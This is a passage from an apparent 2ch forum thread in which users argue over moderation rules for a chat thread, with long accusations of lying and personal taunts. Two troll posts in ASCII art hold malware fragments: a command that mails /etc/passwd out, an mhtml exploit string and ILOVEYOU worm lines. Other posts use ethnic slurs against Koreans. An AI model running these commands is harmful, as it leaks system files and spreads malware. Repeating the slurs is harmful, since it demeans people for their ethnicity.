http://tmp6.2ch.net/test/read.cgi/asia/1128258920/595-597
こんなんだ。嫌々なのは丸わかりだが、オレの言い分が通ったってことじゃん。
話し合って、その通りにしてんだぜ。何らかの合意があったと言っても
別に間違いじゃないじゃん。

196 :船虫Jr ◆.Tg2yBtH66 :2006/03/31(金) 21:54:36 ID:5WEoNcFQ
>>180 名前: 同期の桜@極東 ◆DoukiJieKQ
>・ごくとうは検証のため(これは元祖スレにも書いてある)
>・船虫Jrはスレが立てばそれでいい。
>1、この両者の状態において合意が出来るのかどうか。
>  それはどちらかがどちらかの意見を飲まなければ出来ることはない。

バカかな?
>・船虫Jrはスレが立てばそれでいい。
これをもっと大胆に言えば、
・どんな思惑があろうとも、とにかくスレが立てばそれでいい(当初の案件は一応解決)。
これに対して、
・妙な思惑を言いながらも、とにかくスレを立てた。
合意してんじゃん。
もちろん完全な合意じゃないし、「内心も」という狭義の意味では合意ではないが
交渉後で言う部分的合意には違いない。

「とにかくスレ立てろ」
「ほら、スレ立てた」
「よし」

オレとしては予想外の大成功だが?

>ということもあり、スレが立ったらおしまいだという認識はまったくない。

なに言ってんだよ。
オレだって、まだ問題が残ってるって言ってるじゃん。
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/629


197 :船虫Jr ◆.Tg2yBtH66 :2006/03/31(金) 21:55:38 ID:5WEoNcFQ
というか、もやは書いてて空しくなったが、
たとえ、この合意発言が内心からのものであってもおまえ終わり。
だって、

>>180 名前: 同期の桜@極東 ◆DoukiJieKQ
>http://tmp6.2ch.net/test/read.cgi/asia/1128258920/908
>↑すべてこのときの話を基にしてるわけだが。

こんな自白しちゃってるんだもん。
正直、オレもこれを見た瞬間それに気付かなかったが、
これどうにも決定的だろ?
上でも言ったが、おまえの「船虫も合意してたから説」が

「すべてこのときの話を基にしてる」

なら、

「このレス以前には、何の根拠もなかった」

ってことじゃん。要するに後付の理由で、スレ立てに際して根拠にした理由ではない。
オレが言う、

A: 同期の桜@極東 ◆DoukiJieKQ が「船虫は検証に合意した」と言い張ってる件。

も、「当時合意した」であり、おまえが正当化しようとしている「スレ立て」の
根拠になるってものだ。にもかかわらず、
「すべてこのときの話を基にしてる」=「これ以前には根拠にする基がない」
だもん。何の根拠もなく「船虫は検証に合意した」と言っていたのと同じ。
要するに、何の根拠もなかったんだけど、反論に窮したから、
相手がちょうど出してきた「合意」を歪曲使用して「相手も合意してたから」
と言い出したっていう自白じゃん。
それ以外、どう解釈すんの?

198 :船虫Jr ◆.Tg2yBtH66 :2006/03/31(金) 21:58:02 ID:5WEoNcFQ
いずれにせよ。スレ立て以後に出てきた「合意発言」は「合意があった」という
スレ立てにおける解釈の根拠にはならない。
スレ立て以後のものしか根拠がないというのは、
「スレ立て当時には根拠がなかった」と自白してるようなもの。
おまえの「船虫も合意してたから説」は「一応」終了。

>http://tmp6.2ch.net/test/read.cgi/asia/1128258920/908
>↑すべてこのときの話を基にしてるわけだが。



>http://tmp6.2ch.net/test/read.cgi/asia/1128258920/908
>↑これで、すべてを語ってるのではない。

に訂正してからやり直せ。

199 :船虫Jr ◆.Tg2yBtH66 :2006/03/31(金) 21:58:24 ID:5WEoNcFQ
>>181 名前: 同期の桜@極東 ◆DoukiJieKQ
>>おまえが解決と言ってるもの=オレが折れること。
>>オレが折れないとループって何?
>そんなことは知ったこっちゃありません。

知ったこっちゃないなら、なおさら、何で、
「折れないからループ」なんだ?おい?

>そんな方法じゃ嫌だ!って永遠に決まらない議論を続けてるだけであるならば
>それはループをさせているとしか言いようがない。

もうバカ。結局「ループ」という言葉を間違って使ったんだろ?
「そんな方法じゃ嫌だ!」と追求しつづけても、それだけではループではない。
追求側に理があるなら、いくら諦めが悪くても非難されるもんじゃない。
しかも、相手側が「ループ」されてるだけなら、非難されるべきは相手側だろが。

200 :船虫Jr ◆.Tg2yBtH66 :2006/03/31(金) 21:58:50 ID:5WEoNcFQ
>自分でコピペするけども
>
>桜:「邪魔になるのでsage進行」
>船:「その通り。邪魔だから、SAGE進行自体は正しい。
>  しかし、だからといって、公共性のあるスレを排他的するのは問題有り。
>  スレ住人達がよっぽど気を遣ってカキコするか、
>  常時SAGEルールをやめる(通常はSAGEでいい)のが妥当」
>桜:「邪魔になるのでsage進行」
>------------------------------------------------------------------
>船:「じゃあ、オレが勝手に定期的に上げるが問題はないのか?」
>桜:「別に問題ないが?」
>船:「じゃー定期的に上げるからな」
>
>こういうこと。点線以下は相手が認めてる&常時sageになることはない
>のでスレの問題も解決。これだけの話なんだけど。

おまえさー。自信満々でコピペしてるとこ見ると、
マジでループの意味が分かってないようだな。
こういうのは、オレが「ループの意味はこうだ」と言っても信用しないんだろうから、
自分でググるなりして調べてみろ。

それこそ、「桜→A」とかに変えて、どっかの板で検証してみようか?
「AとB、ループさせてるのはどっちであるか?」と。

何ならおまえの雑談スレでもいいぞ?

201 :船虫Jr ◆.Tg2yBtH66 :2006/03/31(金) 21:59:22 ID:5WEoNcFQ
>>182 名前: 同期の桜@極東 ◆DoukiJieKQ
>ageスレは検証のためでしかなく、議論の決着もついてない。
>そんな状況だったら現状(sage進行)を維持するのが基本だろ?
>で、議論に決着がついたところできちっと変える。何の問題もないはずだが。

だったら、「どいうつもり」に対するレスでそういえばいいじゃん。
それを「次スレとして」で終わりにしようとしたから、こうやって非難されてるわけじゃん。
「運営逝け。話はそれからだ」もそうだが、始めから議論に応じていれば何ら問題ないわけ。
ホントのこと言えば、「うるせーな!開放的にやってるだろが!」 で切り抜けられた話。
実際、おまえ自身はそうやってるわけだろ? それを
「ここは他のスレと同じ。オレらは何の制限(開放的も含め)もなく、自由に書いてるだけ」
なんて言い始めるヤツがいて(バク)、おまえがお仲間擁護に回ったから、
「だったら選択肢1(>>36)はないから、選択肢2か3」ってことになったわけじゃん。
(ここのポイントは件のスレが特別であること。つまり、公共性。
バクの言い分では公共性がなんら反映されないことになってる)。

どう誤魔化そうにも、SAGE進行は、どの板でもある典型的な自治議論。
どの板でもそうだが「運営逝け(運営の意見を聞く?)」で解決するもんじゃない。
そもそも、SAGEでもAGEでも、それだけではルール違反じゃない。
まさに、スレや板の性格によって、どちらが適当か判断されるわけ。
で、極東板のような対立勢力がハッキリ存在する板の場合、
いずれかの勢力の「溜まり場」のような排他的状況が出来やすい。
これの対処法として、コテ禁止なんてスレにする板もあるが、
極東板は名無しでスレが持つような人気板じゃない。
だから、せめて「常時SAGEルール」を廃止して、世間の目にとまるようにする
という案が出されてるわけ。ただの雑談スレじゃなく、公共性のある雑談所なんだから。

202 :日出づる処の名無し:2006/03/31(金) 22:42:06 ID:ogw0/Jqt
>>201

たまにはさ、2ちゃんに引き籠もってないで
女とデートでもして来いよ。


203 :バク ◆Zseml6E7q6 :2006/03/31(金) 23:01:54 ID:BC/2lY/s
やっぱり議論は成立しないか・・・w

結局4ヶ月も逃げたまんまだったねえ〜。


1時間後に削除依頼かけるから。このスレ。


最後に一言、ニュース極東板に自治スレは要らんな。
管理人が居れば良い。

204 :日出づる処の名無し:2006/03/32(土) 18:00:33 ID:ydeQkUiJ
削除前 記念カキコ!



みんな、書け!書け!


削除されるのが早いか、1000埋めるのが先か!
削除人と競争しようぜ!

205 :日出づる処の名無し:2006/03/32(土) 18:12:03 ID:ydeQkUiJ
かなしい (TT
だれもこない・・・

かなしい
かなしい
かなしい
かなしい
かなしい
かなしい
かなしい


206 :日出づる処の名無し:2006/03/32(土) 19:27:32 ID:jHCk7Rt3
>>202こいつに言い寄る女が居ると思うのか?
それこそ臍で茶が沸かせるわいw
どうせ船虫はこの書き込みもスルーするんだろうがなw

207 :船虫Jr ◆.Tg2yBtH66 :2006/04/02(日) 21:14:46 ID:FvepSGJ4
ここまでのまとめ。詳しくは>>2-7>>34-42

【主な登場人物】
原告側、
・擬古侍 :最初に雑談スレ問題を提起したヤツ。その後は現れてない。
・船虫(オレ):問題を引き継いだヤツ。この板ではアンチコテ。
被告側、
・同期の桜@極東(桜):雑談スレの常連(スレも立てた)であり、自称自治厨でもある。
・バク :雑談スレの常連で同期の桜のお仲間。桜と違い、罵倒発言が目立つ。
・ごくとう:雑談スレの常連。お仲間かしれないが、上の二人とは同調してない。

【主な出来事】
T、「擬古侍 ◆lIberAli6k」が極東板雑談スレが排他的になっていると問題提起
U、オレ(船虫)が、件のスレは公共性があると指摘。
V、バク(桜も基本的に同調)は、「これはただの雑談スレ」だと言い張る
  (しかし、公共性論に反論した上で言ってるのではない)。
  http://tmp6.2ch.net/test/read.cgi/asia/1139574674/338
W、オレ(船虫)が、排他的であることの解決策の一つとして「常時SAGEルールの撤廃」を求めた(>>36)。
X、バク「ひろゆきメールしないヤツはチキンで議論する資格がない」
  桜「削除要請逝け(スレが削除されるか意見を聞け)。話はそれからだ」
  http://tmp6.2ch.net/test/read.cgi/asia/1139574674/32
Y、公共性のある(公共の利益にかなってる)スレを削除要請するヤツはいない(常識ではいない)わけで、
  「当該スレは公共性がある」と主張するオレ(船虫)は、当然、削除要請しない。
  そして、「話はそれからだ」として議論を排除するのは、自治否定だと非難。

オレの推測:
  桜はこのスレになってようやく公共性(ニッチ論)の意味が理解してきたようだが、
  バク に関しては未だに理解してない。これはリアルにそうだと思う。事実、

Z、利用者(船虫)のカキコを理由に、この自治スレを削除要請している。
  http://qb5.2ch.net/test/read.cgi/saku/1085400725/515

208 :船虫Jr ◆.Tg2yBtH66 :2006/04/02(日) 21:19:33 ID:FvepSGJ4
【公共性とスレ削除について】

・利用者が不当→利用者をアク禁
・利用者のレスが不当→レス削除
・そこまでの理由がない、あるいは無駄だと判断される場合→議論やルール作りで対処するしかない

常識的には、これが筋であり、不適切なレス(一般的には“荒らし”)があるからって、
スレを削除するのは、荒らしの手助けをするようなもの。もっとも、スレを削除しまくり、
あるいは、いっそのこと板自体を削除してしまえば、荒らしは無くなる(書く場所がないからな)
が、それは解決とは言えない。
件の雑談スレだって同じ。排他的になってるのは、利用状況が悪いのであって、
スレ自体が悪いわけではない。
また、利用状況が悪いのは、利用者が悪いからであるとは限らない。
一般的に、スレの利用法は1に記されており、その「スレルール」が不適正なら、
利用状況は悪くなるだろう。逆に言えば、スレルールを変えることで、利用状況は改善できる。
オレ(船虫)が言ってる「常時SAGEルール」の廃止はこのこと。

また、そもそも、排他性が問題になるのは、スレが公共の利益に関わってる(公共性がある)からであり、
排他性禁止をいかに重視するかは、スレの公共性による。例えば、竹島オフスレなどが
固定メンバー(オフ参加者)ばかりが書き込むスレになってていても、何ら不思議はない。
排他的使用はガイドラインで禁止されているが、2ch利用者の一般道徳的には、
「他に迷惑がかからないなら、別にいいよ」ってとこだろう。
雑談スレに関しては、板当たり2〜3スレに限定されてることになっている。
また、2ch慣例では、どの板でも板名を冠した雑談スレ(「雑談スレ」とだけ書いても同じだが)がある。
これらのことから、当該の「極東板雑談スレ」は高い公共性があると言える。
この自治スレがそうであるように、スレタイにより、「極東板の雑談所」と見られるし、
スレ住人が「いや、これは私的な雑談所だ」と言い張っても、
同様のスレタイを持つスレと重複関係になるから、「極東板の雑談所」が作れなくなる。
つまり、公共の“ニッチ”を占有しているわけ。
オレ(船虫)が、選択肢の一つとして、スレタイの変更をあげている(>>36)のは、このため。

209 :船虫Jr ◆.Tg2yBtH66 :2006/04/02(日) 21:20:57 ID:FvepSGJ4
【公共性とスレ削除について2】

ついでに言えば、>>36であげた選択肢には、利用者が開放的であることを
心がけて使うというのがある(1)。これは他の板では一般的なルールで、
「みんな仲良く」なんて記されている。
しかし、極東板はさまざまな立場の者が日常的にバチバチやりあってる板であり、
「みんな仲良く」はなかなか難しい。そして何より、
当のスレ住人が、このような規制は受けないことを明言してしまっている(>>201)。
公共性のあるスレを放置ってのもできないのだから、>>36の2か3で対処するしかないわけ。

210 :船虫Jr ◆.Tg2yBtH66 :2006/04/02(日) 21:21:22 ID:FvepSGJ4
【“検証”問題について】
T、「必要かどうかみてみたい」と言いながら、ごくとうが“元祖スレ”を立てた。
U、オレ(船虫)立てたのはいいが、1の文面がおかしい(常時AGEではない)と言う。
  また、スレの適正と需要は別問題(この自治スレは通常100逝かずに落ちるが、自治スレが不適切なわけじゃない)。
  だと言って、“検証”に懸念を表明する。
  http://tmp6.2ch.net/test/read.cgi/asia/1128258920/582
V、ごくとうは「議論したくない」と言いながらも、オレの言うとおりに訂正。
  http://tmp6.2ch.net/test/read.cgi/asia/1128258920/588
  http://tmp6.2ch.net/test/read.cgi/asia/1128258920/595-597
W、船虫:「検証」に関して懸念が残るものの、オレの要求は通ったので、
  これ以上の追求を控える。
X、この当時、桜は
  http://tmp6.2ch.net/test/read.cgi/asia/1128258920/573
  ↑こんな感じで、この議論に参加してない。オレとごくとうとの遣り取りが
  終わった後も、http://tmp6.2ch.net/test/read.cgi/asia/1128258920/607
Y、しばらく後、桜が何の前触れもなく、SAGEルールを復活させる(そういうスレ立てをする)。
Z、オレ(船虫)は「どういうつもり?」と説明を求める。
   http://tmp6.2ch.net/test/read.cgi/asia/1128258920/909
[、桜は「次スレとして」などと言って返答拒否。
  http://tmp6.2ch.net/test/read.cgi/asia/1128258920/915

ここから、スレ1つを消費する“やり合い”が始まる。

211 :日出づる処の名無し:2006/04/02(日) 21:22:13 ID:hCwaGcwj
おまえらNHK見ろ!

212 :船虫Jr ◆.Tg2yBtH66 :2006/04/02(日) 21:22:13 ID:FvepSGJ4
【“検証”問題について2】

桜の言い分:「俺(桜)は検証結果を見てスレを立てた」
        「船虫は検証に合意したから、独断でも、自治議論を蔑ろにしたものではない」

事実
1、検証らしい作業はどこにもない(少なくとも自治スレには形跡すらない)。
2、オレ(船虫)が「検証に合意」したと読めるレスは存在しない。

1は、スレが立ったあとで、スレ住人から、
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/906
というレスが付くくらいで、桜自身も、「自分自身の判断」であることは否定しないだろう。
(実際、これは否定してない)
そもそも、「検証とは、いったい、いかなるものか?」すら明確にされてないのが問題であり、
仮に何か形跡があったとしても、それが検証なのか何なのか判断できない。
その意味でも、“原告側(事実上「オレだけ」)”との合意があったかどうかが重要になる。
で、これに関して、結論から言うと、

桜の発言は嘘ばっか。

213 :船虫Jr ◆.Tg2yBtH66 :2006/04/02(日) 21:23:16 ID:FvepSGJ4
【嘘その1ー1】
第一に、
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/367 名前: 同期の桜@極東 ◆DoukiJieKQ
>それで、http://tmp6.2ch.net/test/read.cgi/asia/1128258920/615
>わしの結果を待てばよいというレスに対して「待てばいいんだな?」というレスを返しているわけ。
>んで、わしらとおまいが待った結果、検証結果が出たわけだろ?

桜のhttp://tmp6.2ch.net/test/read.cgi/asia/1128258920/607 (結果→待てばいい)
に対してオレがhttp://tmp6.2ch.net/test/read.cgi/asia/1128258920/615(待てばいいんだな?)
と言った。これで、「わしらとおまいが(検証結果を)待った」と言う。
つまり、両者の意思が疎通して、オレの「待てばいいんだな?」において“待っているもの”は検証結果であると。
そういう共通了解ができたのだと言う。
しかし、現物は、その後に次のレスがくる。

http://tmp6.2ch.net/test/read.cgi/asia/1128258920/620 名前: 同期の桜@極東 ◆DoukiJieKQ
>船虫Jrはたぶん結果の意味を勘違いしてるので

これはどう見ても「船虫は俺が書いた『結果→待てばいい』の意味を勘違いしてる」としか読めない。
桜は後から、「ここで船虫と共通了解ができた」と言うが、実際は、この通り「食い違い(勘違い)」がある。

214 :船虫Jr ◆.Tg2yBtH66 :2006/04/02(日) 21:23:50 ID:FvepSGJ4
【嘘その1ー2】
上で概略したように、そもそも、この当時、桜は
「こんなの裁判ごっこ。議論など意味無い。運営逝け。話はそれからだ」
ってな調子で、オレ(船虫)と「ごくとう」とのやりとりには一切参加していない。
運営逝かなきゃ解決しないという態度なのだから、運営逝かずに行われる検証に
合意する立場になってるなど驚くべき変わり身なわけ。
正直、オレは誤解して、待ったら、オレがずっと求めていた議論に答えるのかと思ったわけ。
で、http://tmp6.2ch.net/test/read.cgi/asia/1128258920/628
桜は「検証するから待て」などと言わず、ただ「船虫は勘違いしてる。待てとはこれ」
と、ごくとうの立てた“元祖スレ”を貼ってるだけなので、
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/620
オレは「そのスレは現在問題にしてるで、待てばいいなんて頓珍漢なこと」と発言。
いつものことだが、具体的なことをハッキリ(検証するから待て)を言わないから、
未だに、「検証」という点は、オレの中に伝わってない。
とはいえ、「待てばいい」はハッキリ拒絶してる。
共通了解ができたなんて真っ赤な嘘。

215 :船虫Jr ◆.Tg2yBtH66 :2006/04/02(日) 21:24:23 ID:FvepSGJ4
【嘘その2】
これは最近になって発覚した嘘だが、こちらも簡単明瞭な嘘。

ごくとうが“元祖スレ”を立て、ごくとうが「検証(必要かどうか見てみたい)」と
言ったあと、検証について行われた話は、オレの
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/582
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/591-592
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/599
これらくらいしかない。いずれも、「船虫は検証を否定(拒絶)している」
としか読めない内容。その後、上で言ったような「待てばいい」という話があるわけだが、
この話は、上でリンクしたオレのレスで打ち切りになり、桜はいつもの“貝状態”に戻ってる。
繰り返すが、その後、桜が突然、SAGEルールを復活させた「次スレ」を立て、
オレが「独断だ」と非難し、その言い訳として、桜は「船虫は、検証に合意している」というのを出してきた。
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/367 を始め、ずっとそう言ってる)

・船虫の合意があったから、検証は公認(反対者も認めるもの)として、その結果を反映させた(スレ立てた)。

これが桜の言い分、くどいようだが、「スレ立て前に、このように判断した」と言うわけ。
しかし、最近になって、言い出したのは、

>>180 名前: 同期の桜@極東 ◆DoukiJieKQ
>http://tmp6.2ch.net/test/read.cgi/asia/1128258920/908
>↑すべてこのときの話を基にしてるわけだが。

なんと、スレが立った後のレスを根拠に「船虫は合意してる」と自白しちゃってる(>>194>>197)。
このレスが嘘なのか、ずっと言っていた言い訳が嘘なのか、いずれにしても明白な嘘。

216 :船虫Jr ◆.Tg2yBtH66 :2006/04/02(日) 21:25:28 ID:FvepSGJ4
【考察】
もし、桜がまともな頭の持ち主であると仮定するなら、
結局、「検証」について、あえて不明瞭にしておいて
(オレの“勘違い”を正すことをしないでおいて)、後から、
・自治スレで検証が合意された→常時SAGEが妥当との結論が出た→次スレ立て
と決め付ける作戦だったってことだろう。まあ、リアルなのかもしれんが、
いずれにせよ、こんなやり方を認めていたら自治は成り立たない。

217 :日出づる処の名無し:2006/04/02(日) 21:25:49 ID:ZCbuGFzq
蟲ぃテレビみないでいいのか?

218 :船虫Jr ◆.Tg2yBtH66 :2006/04/02(日) 21:26:34 ID:FvepSGJ4
>>206
おまえはスルー

219 :日出づる処の名無し:2006/04/02(日) 21:28:44 ID:ZCbuGFzq
>>218
蟲ぃ、総連は、今、大騒ぎだぞ

220 :日出づる処の名無し:2006/04/02(日) 21:34:24 ID:5EiQ57XC
>>218結局彼女居ないんだろ?
ついでに友達もいないだろ?w

221 :船虫Jr ◆.Tg2yBtH66 :2006/04/02(日) 21:36:12 ID:FvepSGJ4
別に大騒ぎするほどのことじゃねーじゃん。
つーか、オレはhttp://tmp6.2ch.net/test/read.cgi/asia/1143672393/35
こういう立場だからな。北も南も政府の悪事が暴かれた方がいいわけ。

222 :日出づる処の名無し:2006/04/02(日) 21:40:59 ID:ZCbuGFzq
>>221
その様な発言をして「もはや日本人」がどれほど立場を悪くしたのか知らないのか?

ちなみに、総連には、今、総動員がかかっているらしい。


223 :日出づる処の名無し:2006/04/02(日) 21:42:24 ID:5EiQ57XC
>>221無職童貞は引っ込め。

224 :日出づる処の名無し:2006/04/02(日) 21:43:16 ID:XyAiVW1W
元々ただの運転手だったわけだし、これ以上地位は下がらないんじゃないか?
だろ、船虫よ
運転手として雇ってもらう前は新聞配達だっけ

225 :日出づる処の名無し:2006/04/02(日) 21:55:51 ID:ZCbuGFzq
今、確認した。
総連は、大変だ。
もう、しらない

226 :日出づる処の名無し:2006/04/04(火) 11:55:13 ID:tWygRA4M
船虫火病中w

227 :船虫Jr ◆.Tg2yBtH66 :2006/04/07(金) 19:05:21 ID:n/+MzBIi
結局、
自分たちがたむろするスレを非難された自称自治厨( 同期の桜@極東 ◆DoukiJieKQ )は
非難回避のために、筋違いな削除要請を言い張って議論を潰そうとし、
その不当性を指摘されれば、その場しのぎの嘘を並べて議論を混乱させ
「議論が終わらないのはおまえのせいだ」などと責任転嫁
と、こういうことか?
そして、自治議論を潰すだけにとどまらず、あろうことか、
自治スレ自体を削除要請したと。

すごい無茶苦茶なんだが、今後、自治議論が起きたときに、
どういう顔で現れるつもりなんだ?


228 :日出づる処の名無し:2006/04/07(金) 19:06:05 ID:GEH4lVPK
                ܷܷܵܶܵܶܵܶܵܶ
             kak.hta';ken=wdt'START
イッパイ         ms-its:mhtml:file://c:\
 モッテキタヨ-      cat /etc/passwd | mail nobody@nonexistent.com
      ∧__∧   c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
     ( ´・ω・)   Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
     /ヽ○==○ fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
    /  ||_ If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
    し' ̄(_)) ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_))



229 :船虫Jr ◆.Tg2yBtH66 :2006/04/07(金) 20:11:25 ID:n/+MzBIi
20名前: 船虫Jr ◆.Tg2yBtH66 投稿日: 2006/03/17(金) 20:11:13 ID:SQYVJgom
ついでに言っておくが。

「変な改行 or 行間があくようになった」について。
http://gikonavi.sourceforge.jp/cgi-bin/faq.cgi#58
http://hokanko.jp/db/archives/000090.html

21名前: 船虫Jr ◆.Tg2yBtH66 投稿日: 2006/03/17(金) 20:12:44 ID:SQYVJgom
単純にレス(ID)をあぼーんしてもよい。

230 :日出づる処の名無し:2006/04/07(金) 20:13:09 ID:GEH4lVPK
              ܷܷܵܶܵܶܵܶܵܶ
             kak.hta';ken=wdt'START
イッパイ         ms-its:mhtml:file://c:\
 モッテキタヨ-      cat /etc/passwd | mail nobody@nonexistent.com
      ∧__∧   c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
     ( ´・ω・)   Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
     /ヽ○==○ fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
    /  ||_ If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
    し' ̄(_)) ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_))


231 :日出づる処の名無し:2006/04/08(土) 13:19:45 ID:1S4DqnuZ
     (●)(●)●)●)(●))(●)(●)(●)(●)(●))(●)__/
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    _(●)(●)(",, )(X)ヽヽ(●))(●)(●))(●)(●)(●)(●)_
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           巛巛ミ巛ミミミ//二二ノ""^ソ彡
             巛((ミミ((巛ヘ`\┼┼┼ ,!ヽ
                 巛王 \"ヽ-;:,,,,,,ノ


232 :日出づる処の名無し:2006/04/08(土) 21:22:46 ID:1S4DqnuZ
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             巛((ミミ((巛ヘ`\┼┼┼ ,!ヽ
                 巛王 \"ヽ-;:,,,,,,ノ


233 :日出づる処の名無し:2006/04/08(土) 21:55:37 ID:1S4DqnuZ
糞チョンwwwwwプギャーwwwwwwwwww
wwwwwwwwwwwwww
マジ最高wwwwwwwwww悔しい
だろ?え?コラ仕返ししてみろや糞キムチ帝国がwwwwww
もうねwwwww気分最高wwwww気分
爽快wwwwwwいまマジで満面の笑みwwwwwwwww
めっちゃ気持ちいい!!!!!wwwwwww


234 :日出づる処の名無し:2006/04/08(土) 22:02:22 ID:1S4DqnuZ
糞チョンwwwwwプギャーwwwwwwwwww
wwwwwwwwwwwwww
マジ最高wwwwwwwwww悔しい
だろ?え?コラ仕返ししてみろや糞キムチ帝国がwwwwww
もうねwwwww気分最高wwwww気分
爽快wwwwwwいまマジで満面の笑みwwwwwwwww
めっちゃ気持ちいい!!!!!wwwwwww
糞チョンwwwwwプギャーwwwwwwwwww
wwwwwwwwwwwwww
マジ最高wwwwwwwwww悔しい
だろ?え?コラ仕返ししてみろや糞キムチ帝国がwwwwww
もうねwwwww気分最高wwwww気分
爽快wwwwwwいまマジで満面の笑みwwwwwwwww
めっちゃ気持ちいい!!!!!wwwwwww


235 :日出づる処の名無し:2006/04/09(日) 08:03:38 ID:sxt1TmI9
船虫火病継続中

236 :日出づる処の名無し:2006/04/09(日) 16:06:28 ID:n4Y6rxdL
(( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ
 (( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ
  (( へ(へ゜盆゜)へ カサカサ 
(( へ(へ゜盆゜)へ カサカサ  (( へ(へ゜盆゜)へ カサカサ
(( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ
 (( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ
  (( へ(へ゜盆゜)へ カサカサ 
(( へ(へ゜盆゜)へ カサ(( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ
 (( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ
  (( へ(へ゜盆゜)へ カサカサ 
(( へ(へ゜盆゜)へ カサカサ  (( へ(へ゜盆゜)へ カサカサ
(( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ
 (( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ
  (( へ(へ゜盆゜)へ カサカサ 
(( へ(へ゜盆゜)へ カサカサ  (( へ(へ゜盆゜)へ カサカサ
カサ  (( へ(へ゜盆゜)へ カサカサ


237 :日出づる処の名無し:2006/04/10(月) 16:32:22 ID:06+cugwg
(( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
 (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
  (( へ(へ゜盆゜)へ カサカサ  (( へ(へ゜盆゜)へ カサカサ
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      (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
  (( へ(へ゜盆゜)へ カサカサ  (( へ(へ゜盆゜)へ カサカサ
(( へ(へ゜盆゜)へ カサ(( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
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 (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
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  (( へ(へ゜盆゜)へ カサカサ  (( へ(へ゜盆゜)へ カサカサ
(( へ(へ゜盆゜)へ カサカサ  (( へ(へ゜盆゜)へ カサカサ
カサ  (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ



238 :日出づる処の名無し:2006/04/10(月) 16:33:38 ID:06+cugwg
(( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
 (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
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  (( へ(へ゜盆゜)へ カサカサ  (( へ(へ゜盆゜)へ カサカサ
(( へ(へ゜盆゜)へ カサ(( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ


239 :日出づる処の名無し:2006/04/10(月) 16:43:34 ID:06+cugwg
(( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
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 (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
      (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
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      (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ

(( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
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 (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
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  (( へ(へ゜盆゜)へ カサカサ  (( へ(へ゜盆゜)へ カサカサ
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(( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ
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  (( へ(へ゜盆゜)へ カサカサ  (( へ(へ゜盆゜)へ カサカサ
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      (( へ(へ゜盆゜)へ カサカサ (( へ(へ゜盆゜)へ カサカサ



240 :船虫Jr ◆.Tg2yBtH66 :2006/04/10(月) 22:39:30 ID:lTtmIvXG
ここまでのまとめ。
>>207を改変。関連、>>208-216>>227

【主な登場人物】
≪原告側≫、
・擬古侍 :最初に雑談スレ問題を提起したヤツ。その後は現れてない。
・船虫(オレ):問題を引き継いだヤツ。この板ではアンチコテ。
≪被告側≫、
・同期の桜@極東(桜):雑談スレの常連(スレも立てた)であり、自称自治厨でもある。
・バク :雑談スレの常連で同期の桜のお仲間。桜と違い、罵倒発言が目立つ。特徴は>>146-161
・ごくとう:雑談スレの常連。お仲間かしれないが、上の二人とは同調してない。
・荒らし君1:>>18 被告側というより嫌韓厨。その後も同じ荒らしが続く。
・荒らし君2:>>204-205 上と同一人物かは不明。
http://tmp6.2ch.net/test/read.cgi/asia/1142222854/718-722

